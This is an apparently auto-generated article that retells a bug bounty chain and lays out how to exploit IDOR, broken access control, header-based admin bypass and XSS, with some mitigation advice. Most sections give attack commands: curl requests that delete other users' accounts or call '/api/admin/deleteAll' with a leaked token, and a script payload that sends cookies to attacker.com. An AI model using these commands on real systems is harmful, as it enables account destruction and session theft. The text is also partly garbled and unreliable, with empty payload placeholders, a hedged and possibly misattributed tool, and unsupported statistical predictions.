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Introduction:
In a recent bug bounty win, security researcher Shivang Maurya earned nearly $8,000 by chaining seemingly low‑risk vulnerabilities into a full‑scale compromise. Starting as the lowest‑permission user, he deleted every account ($2,000), bypassed admin controls on a self‑hosted app ($3,000), exploited multiple Broken Access Control (BAC) issues ($1,500), and weaponized three cross‑site scripting (XSS) vectors using the xss0r tool ($2,500). This article dissects each attack, provides verified commands and code, and offers a step‑by‑step guide to both exploiting and mitigating these flaws.
Learning Objectives:
– Execute privilege escalation from a low‑privileged user to global admin using IDOR and parameter tampering
– Chain GET/POST‑based XSS with session hijacking and CSRF in self‑hosted environments
– Implement hardened access controls, input validation, and WAF rules to stop IDOR, BAC, and XSS attacks
You Should Know:
1. Lowest Permission User to Global Admin – The $2,000 Privilege Escalation
Step‑by‑step guide explaining how a standard user can delete every account by manipulating object references.
What it does:
The application exposes user management endpoints (e.g., `/api/user/delete/{id}`) without verifying that the requester owns the target ID. An attacker with a low‑privilege account changes the `id` parameter to another user’s value, including admin accounts.
How to use it (lab simulation):
– Linux – Intercept requests with Burp Suite or use `curl`:
Login as low‑privilege user, extract session cookie curl -X DELETE https://target.com/api/user/delete/1 -H "Cookie: session=low_user_token" Change ID to admin (e.g., 999) curl -X DELETE https://target.com/api/user/delete/999 -H "Cookie: session=low_user_token"
– Windows (PowerShell) :
Invoke-WebRequest -Uri "https://target.com/api/user/delete/999" -Method DELETE -Headers @{"Cookie"="session=low_user_token"}
– Mitigation : Implement server‑side ownership checks. Use random UUIDs instead of sequential IDs and validate `user_id` from session, not request.
2. IDOR and Admin Bypass in Self‑Hosted Apps – $3,000 Methodology
What it does:
Self‑hosted software often trusts local network headers or uses weak admin detection. Attackers bypass authentication by forging `X-Forwarded-For`, `X-Original-URL`, or manipulating API versioning.
Step‑by‑step guide:
– Enumerate endpoints with `ffuf`:
ffuf -u https://selfhosted.com/admin/FUZZ -w /usr/share/wordlists/dirb/common.txt -H "X-Forwarded-For: 127.0.0.1"
– For IDOR on self‑hosted APIs, try changing `?org_id=1` to `?org_id=2`:
curl "https://selfhosted.com/api/settings?org_id=2" -H "Cookie: user_session"
– Admin bypass : Many self‑hosted apps check `Host` header. Change `Host: localhost` or add `X-Original-URL: /admin` to bypass front‑end gateways.
– Windows alternative : Use `Invoke-WebRequest` with custom headers or Burp Repeater.
3. Multiple BAC (Broken Access Control) Issues – $1,500 Chaining
What it does:
BAC allows a user to perform actions reserved for higher roles (vertical) or other users of the same role (horizontal). By chaining a horizontal BAC (view another user’s data) with a vertical BAC (escalate to admin function), the attacker gains full control.
Step‑by‑step guide:
– Test horizontal BAC : Create two accounts. From account A, request account B’s private profile: `https://target.com/profile?user_id=B`. If data leaks, it’s horizontal BAC.
– Test vertical BAC : As a regular user, send a request to an admin endpoint like `/api/admin/backup`. If status 200, vertical BAC exists.
– Exploit chain : First leak an admin’s session token via horizontal BAC (if tokens are exposed), then reuse that token to call admin endpoints.
– Command example (Linux) – using `jq` to parse leaked tokens:
curl -s "https://target.com/profile?user_id=admin_id" -H "Cookie: user_session" | jq '.session_token' curl -X POST "https://target.com/api/admin/deleteAll" -H "Cookie: session=leaked_admin_token"
4. XSS0r – Weaponizing GET and POST Based XSS for $2,500
What it does:
XSS0r is a tool (or technique) that automates discovery of reflected and stored XSS across GET and POST parameters. By chaining XSS with CSRF or session theft, the attacker can force admin actions.
Step‑by‑step guide:
– Install xss0r (if available as tool) – otherwise use `dalfox` or `XSStrike`:
git clone https://github.com/rajeshmajumdar/XSS0r.git cd XSS0r python3 xss0r.py -u "https://target.com/search?q=test" --post-data "comment=test"
– Manual GET XSS : Inject `` into URL parameters.
– Manual POST XSS : Use Burp to change POST body: `comment=`.
– Chain with session hijacking : Payload that sends cookies to attacker server:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
– Windows PowerShell – Use `Invoke-WebRequest` to test POST XSS:
$body = @{comment='<script>alert(1)</script>'}
Invoke-WebRequest -Uri "https://target.com/post_comment" -Method POST -Body $body
5. Self‑Hosted Program Security Hardening (Mitigation)
After analyzing the $8,000 chain, implement these defensive steps:
– For IDOR : Replace numeric IDs with UUIDv4. Enforce row‑level security in SQL. Use middleware to compare `req.user.id` with `resource.owner_id`.
– For BAC : Define role‑based access control (RBAC) matrix. Test with `curl` for each role:
curl -X GET https://app.com/admin -H "Authorization: Bearer user_token" should return 403
– For XSS : Set `Content-Security-Policy: script-src ‘self’`. Use output encoding (e.g., `htmlspecialchars` in PHP, `escapeHtml` in React). Deploy a WAF like ModSecurity with OWASP CRS.
– Linux command to test CSP : `curl -I https://target.com | grep Content-Security-Policy`
– Self‑host specific : Never trust `X-Forwarded-` headers. Implement authentication for all internal APIs.
6. Full Attack Simulation in Docker Lab
Spin up a vulnerable self‑host app (e.g., Juice Shop, DVWA) to practice the chain:
Linux – run vulnerable container docker run -p 8080:80 vulnerables/web-dvwa Enumerate users with low privilege curl http://localhost:8080/vulnerabilities/idor/?user_id=1 --cookie "security=low; PHPSESSID=xxx" Escalate to admin using BAC curl http://localhost:8080/admin/setup --cookie "security=low" Inject XSS payload via POST curl -X POST http://localhost:8080/vulnerabilities/xss_s/ -d "txtName=<script>alert(1)</script>" --cookie "..."
– Windows : Use Docker Desktop, then `curl.exe` in PowerShell.
What Undercode Say:
– Key Takeaway 1: Low‑permission users are not low‑risk. The $2,000 deletion of every user proves that one IDOR can turn a guest into a god.
– Key Takeaway 2: Chaining is everything. Alone, each bug was worth $500‑$3,000, but the real lesson is that self‑hosted apps amplify impact because they often lack enterprise‑grade access controls.
Analysis: The researcher’s success hinges on two overlooked areas – self‑hosted software frequently ships with default admin paths and broken object references, and BAC is still the 1 OWASP risk. Organizations assume that “self‑hosted” means “secure by isolation,” but the opposite is true: internal tools often have weaker authentication. The xss0r tool’s ability to find both GET and POST XSS highlights that input validation is consistently missing. To replicate Shivang’s win, focus on role enumeration, parameter fuzzing, and chaining XSS to steal higher‑privilege sessions.
Prediction:
– -1 Self‑hosted platforms will become prime targets in 2026‑2027, with a 300% increase in reported IDOR/BAC chains as more companies move to hybrid on‑prem models.
– +1 However, the rise of automated tools like xss0r and AI‑driven fuzzing will force developers to adopt secure‑by‑design frameworks, potentially reducing classical XSS by 40% within two years.
– -1 Without mandatory RBAC testing in CI/CD pipelines, thousands of self‑hosted applications will remain vulnerable to the exact $8,000 chain described here.
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Reported By: [Shivangmauryaa Got](https://www.linkedin.com/posts/shivangmauryaa_got-rewarded-almost-8000-like-below-was-share-7469008129549049856-PzXI/) – Hackers Feeds
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